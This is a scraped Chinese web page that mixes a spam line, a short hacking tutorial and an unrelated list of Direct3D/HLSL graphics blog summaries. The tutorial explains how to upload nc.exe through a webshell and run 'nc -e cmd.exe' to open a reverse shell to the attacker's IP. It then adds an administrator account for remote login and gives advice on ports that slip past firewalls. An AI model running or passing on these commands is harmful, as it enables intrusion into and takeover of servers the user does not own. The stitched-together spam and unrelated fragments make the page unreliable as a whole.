得什么时间wwW110nc可以心肌梗死恢复正常时间播放,现在应该9999pp怎么收视110nccom接目

posts - 826,&
comments - 7,&
trackbacks - 0
Server-U等都不可以用的情况下.&& 一般都可思考用此方法不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口&&& 那么这种方法也失效了&.
1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下)web目录都是有写有读的权限,我们直接传NC进去
2:然后本地执行nc -vv -lp 52进行反弹
3:在shell命令下执行F:\wwwroot\img\nc.exe& -e cmd上传路径& IP(外网IP)& 52(这里是本机端口)
4:在shell里执行命令后,马上看到本地CMS里已经反弹上去了,执行net user 也是成功.
5:直接添加用户,然后远程去连接!
看到添加成功,也设置为管理组了!接下来直接远程连接就OK!
不少人NC提权没有成功过,因为其中的原因是你没有降低权限,而导致了NC提权失败
失败总结:
1.反弹端口
网上不少文章写 反弹端口445 110 什么的,你当防火墙白痴是不是,我建议看一下端口有没有8080端口,如果没有8080端口的话,要反弹8080 端口,这样被防火墙阻止的概率较小
2.降低运行权限
1.现在本地监听一个端口
nc -vv -l -p 8080 //最好是80或8080这样的端口,被防火墙拦截的几率很小。
2.在WebShell运行下面命令连接我们监听的端口得到CmdShell:
nc -vv IP 8080 -e C:\Documents and Settings\All Users\Documents\cmd.exe //假设cmd.exe是上传在"C:\Documents and Settings\All
Users\Documents\"这个目录
阅读(...) 评论()posts - 1022,&
comments - 143,&
trackbacks - 0
随笔分类 - D3D
摘要: 在游戏引擎渲染管线中,我们对于R、G、B通道颜色信息的数值范围通常设置在[0,1]之间(或者是[0,255])。其中,0代表没有光亮度,1代表显示器能够显示的最大光亮度。这个表示方式虽然直接易懂,但它并不能反映真实世界中光亮度的情况。在真实世界的光照环境中,光亮强度有时候会超过显示器能够显示的最大亮
oayx 阅读(18) |
摘要: 而MSAA基本上只对画面中物体的边缘进行放大、混合的抗锯操作,因为边缘是锯齿最明显的地方(注意不是所有的边缘)。提取边缘,主要是结合深度技术。MSAA是种硬件AA。我们一般说的4x、8x,就是放大倍数,放得越大,供混合的采样越充份,效果越好,但是处理速度也就越慢。FXAA也是种取边缘的技术。但是和M
oayx 阅读(25) |
摘要: 什么是HDR? 谈论游戏画面时常说的HDR到底是什么呢?HDR,本身是High-Dynamic Range(高动态范围)的缩写,这本来是一个CG概念。HDR的含义,简单说,就是超越普通的光照的颜色和强度的光照。计算机在表示图象的时候是用8bit(256)级或16bit(65536)级来区分图象的亮度
oayx 阅读(27) |
摘要: 真正的水彩效果在shader中是比较难实现的,它需要进行中值滤波后累加等一些操作,还需要处理NPR中的笔触一类的概念。本文绕开这些概念,只从视觉效果上能尽量模拟出水彩的画的那种感觉来。 水彩画一个最大的特点是水彩在纸上流动扩散后会和周围的颜色搅拌在一起,另外一个特点就是水彩通常会形成一个个的色块,过渡不像照片那样的平滑。针对这两个特点。可以设计这样的一个算法来模拟水彩画的效果。 首先我们模拟扩散。简单的说,可以通过随机对附近的象素点进行采样来模拟颜色的扩散,而这个随机区域的大小我们可以称为扩散的力度。这在C++代码里应该是非常容易实现的,读者只需要使用Random函数就可以了。但是HLSL并没
oayx 阅读(1152) |
摘要: 所谓HDR就是高动态范围的意思。在普通的显示器和位图里,每通道都是8-bit,也就是说RGB分量的范围都是0-255,这用来表示现实中的颜色显然是远远不够的。现实中的图像的动态范围远远大的多,那么如何在现有的显示设备里尽可能的保持更大的动态范围,而且让它能更符合人眼的习惯就成了图形学研究的一个热点。通常真正的HDR的做法都是采用浮点纹理,把渲染运算的过程中,我们使用16bit的动态范围来保存运算结果,然后对运算结果进行分析,求出这个图像的中间灰度值,然后对图像进行调整映射到LDR的设备中。但是这样的算法有两个非常耗资源的过程,其中一个是浮点纹理,另外一个就是求图像中间灰度(通常情况是把图像不停
oayx 阅读(843) |
摘要: 相对浮雕效果来说,描边(边缘检测)的代码并不复杂多少,只是在理论上相对来说稍微复杂一点,而且效果看上去更加的讨人喜欢一些。 如果在图像的边缘处,灰度值肯定经过一个跳跃,我们可以计算出这个跳跃,并对这个值进行一些处理,来得到边缘浓黑的描边效果。 首先考虑对这个象素的左右两个象素进行差值,得到一个差量,这个差量越大,表示图像越处于边缘,而且这个边缘应该左右方向的。同样我们能得到上下方向和两个对角线上的图像边缘。这样我们需要构造一个滤波器 经过这个滤波器后得到的是图像在这个象素处的变化差值,把它转化成灰度值并求绝对值(差值可能为负),然后我们定义差值的绝对值越大的地方越黑(边缘显然是黑的),否则越白
oayx 阅读(1052) |
摘要: 以上两个效果相对比较简单,姑且称之为入门效果, 它并没有用到太多数字图像处理或者信号处理方面的知识。接下来我们要介绍稍微复杂一点的效果,第一个就是图像的模糊和锐化。图像的模糊又成为图像的平滑(smoothing),人眼对高频成分是非常敏感的。如果在一个亮度连续变化的图像中,突然出现一个亮点,那么我们很容易察觉出来。类似的,如果图像有个突然的跳跃—明显的边缘,我们也是很容易察觉出来的。这些突然变化的分量就是图像的高频成分。人眼通常是通过低频成分来辨别轮廓,通过高频成分来感知细节的(这也是为什么照片分辨率低的时候,人们只能辨认出照片的大概轮廓,而看不到细节)。但是这些高频成分通常也包含了噪声成分。
oayx 阅读(1248) |
摘要: 接下来我们完成一个更加常见的效果—马赛克。图片的马赛克就是把图片的一个相当大小的区域用同一个点的颜色来表示。可以认为是大规模的降低图像的分辨率,而让图像的一些细节隐藏起来。用HLSL代码实现马赛克是非常简单的。但是同样的需要一些额外的步骤。 第一步就是先把纹理坐标转换成图像实际大小的整数坐标。接下来要把图像这个坐标量化---比如马赛克块的大小是8x8象素。那么我们可以用下列方法来得到马赛克后的图像采样值,假设[x.y]为图像的整数坐标:[x,y]mosaic = [ int(x/8)*8 , int(y/8)*8]. 得到这个坐标后只要用相反的方法,把整数坐标转换回到0-1.0的纹理坐标。具体
oayx 阅读(702) |
摘要: &浮雕&图像效果是指图像的前景前向凸出背景。常见于一些纪念碑的雕刻上,要实现浮雕其实非常简单。把图像的一个象素和左上方的象素进行求差运算,并加上一个灰度。这个灰度就是表示背景颜色。这里设置这个插值为128 (图像RGB的值是0-255)。同时还应该把这两个颜色的差值转换为亮度信息,否则浮雕图像会出现彩色J 在使用HLSL处理浮雕效果的时候,两个问题我们需要注意一下。其中一个是图像边界问题,写过类似实现的朋友都知道,在处理边界象素的时候可能是取不到左上角象素的。这个时候就应该做特殊处理,通常把边界位置的浮雕结果设置成背景颜色。但是使用HLSL的时候不需要在HLSL的shade
oayx 阅读(651) |
摘要: RenderMonkey图像处理的架子-图像黑白化下面我们通过一个简单的例子,先来完成一个最简单的图像处理-把图像黑白化。来说明RenderMonkey如何来处理数字图像。Render Monkey和VC类似,内置了一些工程代码。在这里我们在RenderMonkey的工作区菜单里选择Add Effect -& DirectX-&Screen-AlignedQuad. 在生成的工程中, RenderMonkey将显示一个默认的图片,首先我们就是要修改这个图片,双击那个base图片对应的节点,选择将要演示的图片。如下图。接下来要开始进行关键的一步,编写处理图像的算法。双击刚才建立的项目
oayx 阅读(640) |
摘要: 现在学习Direct3d/HLSL的人非常多,教程也非常多。因为硬件的水平在进步,所以可编程管道的处理能力也在不断的提高。从Direct3D 8开始,Direct3D中引入了可编程管道(Programable Function Pipeline)的概念。关于学习,中国有句古话叫“学以致用”,可见把学到的东西用于实际实践中是多么的重要。现在学习Direct3D/HLSL的人非常多,教程也非常多。但是很多人不知道看完这些教程后该干什么,或者说可以怎么利用学到的知识。本文会对Direct3D/HLSL做一个简单的介绍,讲述如果将HLSL用于数字图像处理,带领大家一起体会HLSL的强大。简介.1)Di
oayx 阅读(708) |
摘要: Bloom,又称“全屏泛光”,是大名鼎鼎的虚幻3游戏引擎中最通用的后期特效技术~ Bloom特效的实现主要依赖于PostProcess框架,即实时绘制当前场景到一后台渲染表面,而后针对其对应贴图进行像素级渲染~ 大家还记得我们之前实现的水面效果中的反射和折射贴图吗?此即为PostProcess的典型
oayx 阅读(1014) |
摘要: 一 先获得Backbuffer,保存为一张纹理二 创建一个UI界面,覆盖整个屏幕,把上步的纹理贴上去三 根据鼠标框选位置,去纹理的部分,重新保存输出
oayx 阅读(404) |
摘要: 为了便于说明,首先假设存在下列的顶点缓冲和索引缓冲vb={{-1.0, 1.0, 0.0},index 0{ 1.0, 1.0, 0.0},index 1{ 1.0,-1.0, 0.0},index 2{-1.0,-1.0, 0.0},index 3 {-2.0, 2.0, 0.0},index4{ 2.0, 2.0, 0.0},index 5}和对应该顶点缓冲的一组索引缓冲ib初学D3D,DrawIndexedPrimitive这个函数是个难点,主要是MSDN中的解释不是很明确,这个函数共6个参数,下面对这6个参数进行一下详细的解释。参数1:D3DPRIMITIVETYPE type-图元类
oayx 阅读(301) |
摘要: 我的观点基于以下几点:若显卡不支持非2的次幂纹理,则:1:若使用IDirect3DDevice9::CreateTexture创建非2的次幂尺寸图像将失败2:若使用D3DXCreateTexture创建非2的次幂图像将被扩充成2的次幂3:若使用D3DXCreateTextureFromFileInMemoryEx创建非2的次幂图像将被扩充成2的次幂(就算用了D3DX_DEFAULT_NONPOW2也没用)只有一个函数比较特殊:D3DXCreateTextureFromFileEx,用它创建图像可以完美支持非2的次幂图像,但实际游戏中很少用这个函数,故总体上,创建一个非2的次幂纹理,还是显卡说了
oayx 阅读(1333) |
摘要: 一 今天碰到一个问题,UI有个界面模糊,其他界面正常,原因是:美术给的图片非2的N次方,而用D3DXCreateTextureFromFileEx创建纹理时,大小设置的是D3DX_DEFAULT,这样D3D默认会把问了创建为2的N次方,也就是会放大纹理。但是使用时又会按原始大小使用,相当于又把创建的纹理缩小,导致模糊的产生二 修改方式1 D3DXCreateTextureFromFileEx使用D3DX_DEFAULT_NONPOW2设置大小2 美术修改图片到2的N次方大小三 其他1 D3DX_DEFAULT_NONPOW2有些显卡可能不支持,需要检测设备能力2 D3DX_DEFAULT_NO
oayx 阅读(568) |
摘要: 二、 细节变化1、函数参数变化:SetIndices少了参数BaseVertexIndex,,加到DrawIndexedPrimitive了。DrawIndexedPrimitive增加第二个参数BaseVertexIndex,第一个顶点相对于顶点缓冲首地址的偏移数CreateTextureCreateVolumeTextureCreateCubeTextureCreateVertexBufferCreateIndexBufferCreateRenderTargetCreateDepthStencilSurface 增加最后一个参数pSharedHandle,Reserverd.GetBack
oayx 阅读(890) |
摘要: 最近要做项工作,需要将游戏代码中原本的DirectX8.1SDK库升级到9.0。 整理思路如下: 一、命名统一问题 D8和D9内部细节本来就有很多变化,但先从表面上来看,D8和D9的类型函数名字,都存在或多或少的差异,为了整合以前的代码,如果将类型名字一一作改变,那代码变动量将十分的巨大。通过宏命名方式将会节省很多时间,举例如下:#ifdef D3DX9#include &d3dx9.h&typedef IDirect3DDevice9 Dtypedef IDirect3D9 Direct3D;typedef IDirect3DVertexBuffer9 VertexB
oayx 阅读(760) |
摘要: 前几天同公司同事聊天谈及一个非常有趣、高效的技术,用以实现快速绘制相同模型的多个实例,比如在一个场景里有很多树,而这些树都是相同的模型,只是位置、方向、大小、颜色不同,我们就可以使用这种技术提高渲染效率。 在最新的D3D9 SDK有例子演示了这个技术(Direct3D\Instancing下,如果没有可能是因为版本不够新),与一般的渲染方法的区别在于,一般的方法需要为每个模型设定一次stream source,虽然这些模型的顶点、索引都是一致的;而Instancing仅需要设置一次stream source,在一次DrawIndexedPrimitive调用中完成全部实例的绘制。在Insta.
oayx 阅读(565) |
摘要: 首先,渲染到纹理是D3D中的一项高级技术。一方面,它很简单,另一方面它很强大并能产生很多特殊效果。 比如说发光效果,环境映射,阴影映射,景深效果,都可以通过它来实现。渲染到纹理只是渲染到表面的一个延伸。我们只需对得到的纹理图像进行后处理即可。首先,我们要创造一个纹理,并且做好一些防范措施。第二步我们就可以把适当的场景渲染到我们创建的纹理上了。然后,我们把这个纹理用在最后的渲染上。GeForce 6系列图形芯片支持的PixelShader 3.0中还支持一种较新的技术,我们要额外放在这一页来简要介绍。这就是多渲染目标(MRT)技术。 这种技术的作用就是将每像素的数据保存到不同的缓冲区当中。这样的
oayx 阅读(1685) |
摘要: 全局光源o一些影响整个场景的元素,比如太阳光和雾o需要在整个屏幕上进行计算o顶点坐标,法线,颜色以及材质的参数均以纹理的形式输入。o光照计算在象素着色器中实现。o计算输出先储存在一个中间的光照缓冲中。局部光源o局部光源的光照效果只影响到整个场景的一部分o我们只计算受相关光源影响的象素。o这需要将光源体投影到屏幕空间o利用GPU很容易对象素按光源进行分类。o在场景构造时,我们建立一个简单的网格来表示光源影响的空间区域,在游戏运行时,在3D空间中对这个网格包围的象素进行光照计算。以下是延迟光照的关键部分,水平有限,如有错误还请谅解。延迟光照的关键点之一,如何找到光照体积网格中的象素。首先渲染光源体
oayx 阅读(424) |
摘要: 延迟着色是一种对3d场景进行后期照明的技术,这种技术突破了以往渲染系统支持多重动态光源时,效率以及各种性能急剧下降的的限制。从而使得一个3d场景可以支持成百上千个动态光源的效果。 它的技术思路主要将3d场景的几何光照信息(位置、法线、材质信息)渲染到render target上,把它们从世界的三维空间转变成屏幕的颜色空间,作为光照计算时的输入,接着,对每一个光源,使用这些信息输入来进行计算生成一帧,然后把这样的一帧(render target)合成到结果的帧缓存上,这样当遍历完所有的光源,计算就完毕了,帧缓存上的图像就是最后的渲染结果。概述:延迟着色的优势1.它能让你在绘制几何图形的时候不需要
oayx 阅读(487) |
摘要: Bloom必须使用Pixel Shader,这相当于一个图像处理的过程大致步骤如下:先对图片(或是渲染结果)做一个Brighter Pass,检测每个像素的亮度值,若大于指定的却值就保留其颜色,反之将其置为黑色输出,这一步是为了仅对高亮的部分产生光晕效果2.对上一步的结果做高斯模糊,或其他种类的模糊,具体根据需要而定,最简单的就是对四周临近4个像素采样求平均值3.将模糊后的图片叠加到原始图片上,即颜色相加具体代码可参考dxsdk中的Post Processing,其中就有Bloom效果,它和边缘检测联用还可以作出诸如边缘光晕这类的特效
oayx 阅读(465) |
摘要: bloom, Fake HDR, True HDR概念HDR在我旧网上有说过原理,主要是参考了gamedev上的文章.现在把这几个放一起解释一下.这些后期处理技术都是为了实现发光特效(glow effect)HDR, 指高动态光范围,类似于暴光的效果,由于rgb分量在计算机显示时超出255范围的就被丢弃,所以暴光效果表示不太出来,于是使用了一些方法来得到这样的效果, 一般常用方法就是把高光找出来模糊后加色混合原场景.bloom 和 Fake HDR(伪HDR), True HDR(真HDR)原理都差不多,主要是在实现方法上的不同, 如下所示实现方法:1. bloom的实现: 只渲染发出的光芒到
oayx 阅读(969) |
摘要: HDR简介 这篇教程讲解了如何实现一个HDR渲染系统。HDR(High Dynamic Range,高动态范围)是一种图像后处理技术,是一种表达超过了显示器所能表现的亮度范围的图像映射技术。高动态范围技术能够很好地再现现实生活中丰富的亮度级别,产生逼真的效果。HDR已成为目前游戏应用不可或缺的一部分。通常,显示器能够显示R、G、B分量在[0,255]之间的像素值。而256个不同的亮度级别显然不能表示自然界中光线的亮度情况。比如,太阳的亮度可能是一个白炽灯亮度的几千倍,是一个被白炽灯照亮的桌面的亮度的几十万倍,这远远超出了显示器的亮度表示能力。如何在有限的亮度范围内显示如此宽广的亮度范围,正式H
oayx 阅读(7349) |
摘要: 如有转载请注明出处:http://blog.csdn.net/tianhai110/ 在3D游戏开发中,通常需要将文本变成纹理,以便于3D显示。本文阐述了如何通过GDI来生成D3D纹理的方法。 由于汉字多达5000字以上,为每个汉字制作相应图片,显然是不现实的;并且不能够改变字体。 最容易想到的当然是WIN32的GDI绘字,这是最简单,最常用的方法,并且可以改变字体、大小、样式。但缺点也是显而易见的,如果每帧都不断切换GDI,性能将大打折扣。其实,D3D的 ID3DXFONT也是利用GDI来绘字,在direct3d 9.0以前的这个是相当慢的,dx9.0后,微软对其进行了大改,性能有了质的飞跃
oayx 阅读(1359) |
摘要: 转载请注明出处:http://blog.csdn.net/tianhai110非真实感绘制(Non-photorealistic rendering)(NPR)是计算机图形学的一类,主要模拟艺术式的绘制风格,也用于发展新绘制风格。和传统的追求真实感的计算机图形学不同,NPR受到油画,素描,技术图纸,和动画卡通的影响。NPR已经以&卡通造影&的形式出现在电影和电子游戏中,它也已出现在设计图纸和试验动画中(一)卡通渲染卡通渲染是一种特殊的非真实感绘制技术,它要求帖图由不明显的渐变色块夹杂一些不复杂的纹理组成。它强调粗细线条和简单色块,忽略细节。利用这些很简单很纯粹的线条和色块,
oayx 阅读(4469) |
摘要: Deferred Shading,看过《Gems2》的应该都了解了。无论是Unreal3、Crysis还是星际2,都已经支持或者准备支持这个技术。不过因为国内这种环境,真正在项目中能用到的可能并不多,不知道这次星际2出来后,情况会不会有所变化。^_^本文是对Gems2这篇文章的一个补充,小生在做此次外包的时候,由于需要,翻译了这篇文章,不敢独享,遂贴于此,望能抛砖引玉,愿众位前辈不吝赐教。 ^_^Tabula Rasa中的延迟着色技术作者:Rusty Koonce (NCSoft)翻译:noslopforever(天堂里的死神)本翻译仅用于学术目的。这篇文章是对GEMS2里《Deferred
oayx 阅读(740) |
摘要: 如果要了解shadow map,最好的办法就是去看dx的demo 。其算法大意如下:运用渲染到纹理方法(render to target),以场景中的光源为坐标原点,建立光源坐标系,从而可以得到相对于光源的场景深度信息,将其保存在render target上(一般是R32F的surface),之所以选择R32F是考虑到场景的精度问题。这里的R32F就是我们所说的Shadow Map 了,其保存着相对于光源的场景深度信息。接下来,运用系统默认的render target ,启用depth buffer,将场景中的物体(用世界坐标表示)转化到以光源为基准的投影坐标中,这个变化是这样的:世界坐标--
oayx 阅读(729) |
摘要: 昨天参加了公司组织的nvdia的培训,讲了一些关于D3D的优化和可能的瓶颈所在,具体的条目就不说了,这里说一些关于资源的Lock和Unlock,以及我在GL下的测试。老师讲到向Draw*这类函数是将其指令放入指令队列,带填满后或者强制刷新时交给显卡去画,也就是说它并不是即时的,而像对资源的Lock和Unlock确是即时的操作,而且cpu和gpu是并行计算的,当lock的资源正是当前gpu正在使用的资源会导致lock堵塞直到gpu使用完后才返回,也就是说不当的使用lock会造成cpu等待gpu的情形。当然D3D的lock函数有一个标记用来告诉lock是否立即返回,使用这个标记后lock会立即返回
oayx 阅读(734) |
摘要: DirectX编译路径 使用DirectX SDK之前,需要在标题搜索路径中包含INCLUDE\头文件路径,还要确认将此路径放在搜索路径列表的第一位,因为许多编译器自己带有旧版本的DirectX,编译器可能会在自己的INCLUDE\目录下找到旧版本的头文件,而使用这些头文件是错误的。具体做法如下(VC++6.0): 工具菜单--〉选项-〉目录-〉路径列表中设置相应路径即可,注意要将正确路径尽量放在靠前的位置。固定管道 VS Programable Pipeline 以往显卡在顶点处理和像素处理过程中执行的是一套布在硬件上的固定的程序,D3D程序员只能设置一些参数,实际上就是你调用IDirect
oayx 阅读(431) |
摘要: 状态 Direct3D设备使用状态来配置所有的管道处理。采样器状态通过例如定义纹理寻址方式(texture addressing)和过滤模式控制纹理采样器设置。纹理状态设置用于控制纹理如何被组合以及相互之间如何混合的多重纹理混合器。渲染状态控制大多数管道状态。 状态块是存储和恢复状态的便利机制。状态块保存和恢复状态 状态块是一组设备状态。设备状态由渲染状态,定点状态,像素状态,或上述的所有状态组成。状态块包含设备当前状态的快照,或你可以创建状态块来记录每一个应用程序造成的状态改变。创建状态块 选择你想获取的状态类型,比功能照下面的方法创建状态块: IDirect3DStateBlock9* p
oayx 阅读(954) |
摘要: Using Dynamic TexturesTo find out if the driver supports dynamic textures, check the D3DCAPS2_DYNAMICTEXTURES flag of the D3DCAPS9 structure.Keep the following things in mind when working with dynamic textures.They cannot be managed. For example, their pool cannot be D3DPOOL_MANAGED.Dynamic textures
oayx 阅读(784) |
摘要: 学习D3D,应该对这三个内存理解,网上收集了一下相关资料,收藏下来。三种内存AGP内存(非本地显存),显存(本地内存),系统内存,其中我们都知道系统内存就是咱那内存条,那这AGP内存是个啥玩意啊?其实是因为在以前显卡内存都很小,那时还是在显存是16M,32M为主流的时候,如果你运行一个需要很多纹理的3D程序,那么显存一会就不够用了,那该咋办呢?只好问系统内存借点用用了!这就是AGP内存的由来,在我们电脑BIOS中有个设置AGP Aperture的选项,这里就是设置显卡可以使用系统内存的最大允许值,通常是设置为64M。注意,这里只是说最大允许值,并不是一开机他就把这64M给拿走了,你的256内存
oayx 阅读(713) |
摘要: 关于DDS文件格式的说明作者:Chinafish http://www.csinx.org/IBlog/trackback.asp?tbID=8&action=addtb&tbKey=c12cf4adee43dca993b1f2b09a33e5DDS文件格式要追述到S3(Silicon & Software Systems)公司提出的一种纹理压缩格式S3TC(S3 Texture Compression), 其目的是通过对纹理的压缩, 以达到节约系统带宽并提高效能的目的. S3TC就是通过压缩方式, 利用有限的纹理缓存空间来存储更多的纹理, 因为它支
oayx 阅读(7088) |
摘要: 做个3D程序,痛苦的不是做不出那些复杂绚丽的画面效果,最痛苦的莫过于面对无奇不有的玩家机器运行环境,不同的显卡,不同的驱动程序,还有那不同的木马病毒,不同的杀毒软件.有一天你的程序不幸阵亡了,我们可爱的玩家到论坛上骂一句,合理地表达一下他愤怒的心情,说那个程序躺尸躺的很是恶心,然后挥挥手不留下一片云彩,只留下我在那里红着脸,低着头,绞尽脑汁地在代码里检讨自己可能的错误. 由于无法重现这个邪恶的Bug,而且自己周围的机器都表现的很善良,所以剩下的技术手段就是纯粹靠猜.于是变得格外多疑敏感和恶心,怀疑这个API有问题,怀疑那个驱动程序版本有问题,怀疑代码里这个优化太过分,那个地方不够兼容,整天神经
oayx 阅读(1228) |
摘要: 1.镜头不对: 物体不在镜头范围内,检查视图矩阵,世界矩阵,投影矩阵.2.颜色全黑: 打开光照情况下,MATERIAL全为0, 或,在没有打开光照情况下,颜色值为0,造成全黑.检查当前Material和顶点颜色和纹理颜色.3.深度不对: 被已有的深度遮住了.检查当前深度,直接在此渲染前加Clear深度为1.0作测试.4.CullMode设置不对: 所有三角形被当作背面剔除了,设为CULL_NONE测试. 5.3D物件的纹理坐标统统大于1.0,且此时纹理寻址方式为BORDER, 且BORDER被设为黑色,画面全黑.6.深度被Clear为0.0,且打开深度测试,绝对什么都画不上,上述3的特例.7.
oayx 阅读(730) |
摘要: 低级编程错误的根由是粗心造成的,而这里所谓高级编程错误源自各版本驱动程序的Bug和一些不合理的API接口,此类错误通常令人吐血,出现一个都要耗费数小时甚至数天来解决,这是个实际经验累计的过程,痛苦而又必要.1.要求D3DXCreateTexture创建D3DFMT_A8R8G8B8格式纹理,在某些显卡(MX4000,Intel82815,FX5200)的某些驱动程序环境下,会意外地返回D3DFMT_A4R4G4B4,导致程序写内存错误,系统崩溃,蓝屏报告显卡驱动程序DLL错误,文字呈现白色方块等一系列错误现象.切记,不能相信D3DXCreateTexture.2.表象上,单句g_D3DDevi
oayx 阅读(674) |
摘要: 测试1. 渲染1008个Wow的Cat动画模型,每个Cat有346个面,28根骨骼,只需1次Batch. OpenGLDirectXP4 2.8G GeforceCore2 1.8G ATIAMD64 1.8GGeforce测试2 渲染175个Wow的Orc动画模型,每个Orc有1260个面,53根骨骼,需要分10次Batch,但使用同一个顶点Buffer,顶点数 2728,面数分别为 726, 22, 8,66,16,13, 116,34,114, 142. 兽人模型体现了真实的游戏需求, Cat模型过于理想化. OpenGLDirec
oayx 阅读(491) |
摘要: 原则1.以目前计算机的发展阶段而言, 游戏总是CPU Limited.2.渲染 Batch, Batch, Batch3.尽力减少图形API调用次数.4.Minimize data swithing, such as SetStreamSource and SetIndices. Maximize FVF sharing. 认识:1.DX API消耗Top5: SetPixelShaderConstant()SetPixeShader()SetVertexShaderConstant()SetVertexShader()SetTexture()经验:1. 过大过多的纹理造成带宽瓶颈,而顶点数据
oayx 阅读(1188) |
摘要: 另外给出一份dx sdk中关于常用dx api的performace性能参数,在文档中也有明确说明,这些api的调用开销会根据实际情况有不同。 API Call Average number of Cycles SetVertexDeclaration 6500 - 11250 SetFVF 6400 - 11200 SetVertexShader 3000 - 12100 SetPixelShader 6300 - 7000 SPECULARENABLE 1900 - 11200 SetRenderTarget 6000 - 6250 SetPixelShaderConstant (1 Co
oayx 阅读(501) |
摘要: 最近被DrawIndexedPrimitiveUP这个函数搞崩了好几次,甚至连显卡的Blue Screen Of Death也出来凑热闹了,所以需要总结一下它崩溃的可能原因,理清下头绪:1.与OpenGL的glXXXPointer一样,如果指针内存错误,崩溃是肯定的,这种bug比较好找.DirectX的原因更复杂:2.DrawIndexedPrimitiveUP不直接崩溃,而是在Present的时候崩溃.可能SetIndices的索引缓冲指针是野指针,LPDIRECT3DVERTEXDECLARATION9是野指针.解决方法:使用Debug Runtime排除所有异常调用,这对显卡驱动程序蓝屏
oayx 阅读(1209) |
摘要: 1.树叶/动物嘴上的牙齿,胡须/身上的鬃毛,形状曲折复杂,若直接用三角形带构建会大大增加物体的三角形数,所以应使用少量的三角形加Alpha纹理来实现.过滤了Alpha的纹理可以描绘出曲折的形状边缘.2.怪物眼睛发光,那是用了额外附着的不透明的纹理三角片,很可能还是billboard.3.该GL_CULL_FACE的地方应该Cull Face,以提升效率.4.BLEND_MODULATE_2X使盔甲呈现高亮, BLEND_ADDITIVE_ALPHA增加加物体细节.5.WoW的登录界面就是个m2 + xml + lua,一个模型搞定一个界面. 6.在3D空间中画一个中间镂空的平面边形(由三角形M
oayx 阅读(432) |
摘要: 设备丢失的典型情况:图形显示丢失焦点,例如按下alt+tab键,或者弹出一个系统对话框;调用Reset接口函数的任何错误也会导致设备丢失。丢失后,所有继承自IUnknown的方法仍可以继续正常正作,除了Present()会返回D3DERR_DEVICELOST错误代码。处理设备丢失:在重设(reset)丢失的设备之前,必须重新创建所有相关的资源(包括显存!)。在设备丢失后,应查询是否可以将设备恢复(restore) 到工作状态。如果不能,则等行直到设备可以恢复。如果丢失的设备可以恢复,则在恢复之前程序需要销毁所有的显存资源和所有的交换链(swap chains),然后调用Reset()函数恢复
oayx 阅读(833) |
摘要: D3DXVECTOR3vec(1,10,1);D3DXMATRIXmat(1,0,0,0,0,1,0,0,0,0,1,0,1,2,0,1);D3DXVECTOR4vecND3DXVec3Transform(&vecNew,&vec,&mat);D3DXVECTOR3vec3;D3DXVec3TransformCoord(&vec3,&vec,&mat);D3DXVec3TransformNormal(&vec3,&vec,&mat);
oayx 阅读(460) |
摘要: 在使用NVIDIA PerfHUD 5 Launcher的时候,明显发现现在的CPU时间和GPU时间不均衡,于是考虑优化。下面是参考NVIDIA的OGP开始总结。优化代码通常是找出瓶颈,对瓶颈进行优化,这里暂不考虑CPU内部的优化方法,主要记录CPU-&GPU的3D渲染流水线的瓶颈查出方法以及优化手段。若仅希望进行CPU方面的优化,可使用一些辅助工具,如Inter的Intel(R) VTune(TM) Performance Analyzer,Intel(R) Thread Profiler 3.1,AMD的CodeAnalyst等。进行优化的步骤如上面所说:1:找出瓶颈,2:对其优化。
oayx 阅读(1215) |
摘要: D3DXVECTOR3vec1(-10,0,-10);D3DXVECTOR3vec2(0,0,10);D3DXVECTOR3vec3(10,0,-10);D3DXVECTOR3vecOrg(0,10,0);D3DXVECTOR3vecDir(0,-2,0);//求射线长度D3DXVECTOR3_vecDD3DXVec3Subtract(&_vecDir,&vecDir,&vecOrg);floatdis_Ray=D3DXVec3Length(&_vecDir);D3DXVec3Normalize(&vecDir,&vecDir);float
oayx 阅读(512) |
摘要: D3DXCOLOR* D3DXColorAdd //两个颜色的组合值D3DXCOLOR* WINAPI D3DXColorAdjustContrast( //调整颜色对比度D3DXCOLOR *pOut,const D3DXCOLOR *pC,FLOAT c);D3DXCOLOR* WINAPI D3DXColorAdjustSaturation( //调整颜色饱和度D3DXCOLOR *pOut,const D3DXCOLOR *pC,FLOAT s);D3DXCOLOR* D3DXColorLerp //两个颜色线性插值补创建一个颜色D3DXCOLOR* D3DXColorModulate
oayx 阅读(953) |
摘要: D3DXVec3Length 函数--------------------------------------------------------------------------------返回 3-D向量长度。定义:FLOAT D3DXVec3Length( CONST D3DXVECTOR3 *pV);参数:pV[in] 指向 D3DXVECTOR3 结构的源向量。返回值:向量的长度。函数信息:Headerd3dx9math.hImport libraryd3dx9.libMinimum operating systemsWindows 98本文来自CSDN博客,转载请标明出处:htt
oayx 阅读(688) |
摘要: Skybox搞好后,发现在边线有很明显的裂缝,一开始时不知道如何解决,后来问了人,有人说把纹理采样改成Point,有人说纹理坐标改成0.001到0.999,这两样我都试过,发现改成Point裂缝是消除了,但看起来很不好看,改成0.001到0.999也有裂缝。 后来再问了一位高手,他就说了句,把Texture Addressing改了就行了。然后叫我直接查看DX SDK,我看了几种texture的address模式,终于领悟了,要采用纹理寻址的Clamp Texture Address Mode,可查看SDK。再把纹理坐标改成是0.001到0.999。问题就完美解决了。 渲染代码如下:p3DD.
oayx 阅读(282) |
摘要: 一 初始化://创建纹理对象if( FAILED( D3DXCreateTextureFromFile( g_pd3dDevice, L&shitoub01.jpg&, &g_pTexture ) ) ){MessageBox(NULL, L&创建纹理失败&, L&Texture.exe&, MB_OK);return E_FAIL;}HRESULThr = D3DXCreateTexture(g_pd3dDevice, 256,256,1,D3DUSAGE_RENDERTARGET|D3DUSAGE_AUTOGENM
oayx 阅读(1588) |
摘要: D3DSURFACE_DESC D3DSURFACE_DESCD tex-&GetLevelDesc( 0, &Desc ); Width = Desc.W Height = Desc.H
oayx 阅读(269) |
摘要: LPDIRECT3DSURFACE9 pBackBif (SUCCEEDED(g_pd3dDevice-&GetBackBuffer(0,0,D3DBACKBUFFER_TYPE_MONO,&pBackBuffer))){D3DXSaveSurfaceToFile(L&a.jpg&,D3DXIFF_JPG,pBackBuffer,NULL, NULL);}
oayx 阅读(356) |
摘要: D3DRS_TEXTUREFACTOR Color used for multiple-texture blending with the D3DTA_TFACTOR texture-blending argument or the D3DTOP_BLENDFACTORALPHA texture-blending operation. The associated value is a D3DCOLOR variable. The default value is opaque white (0xFFFFFFFF). 使用:g_pd3dDevice-&SetTexture(0, g_pT
oayx 阅读(550) |
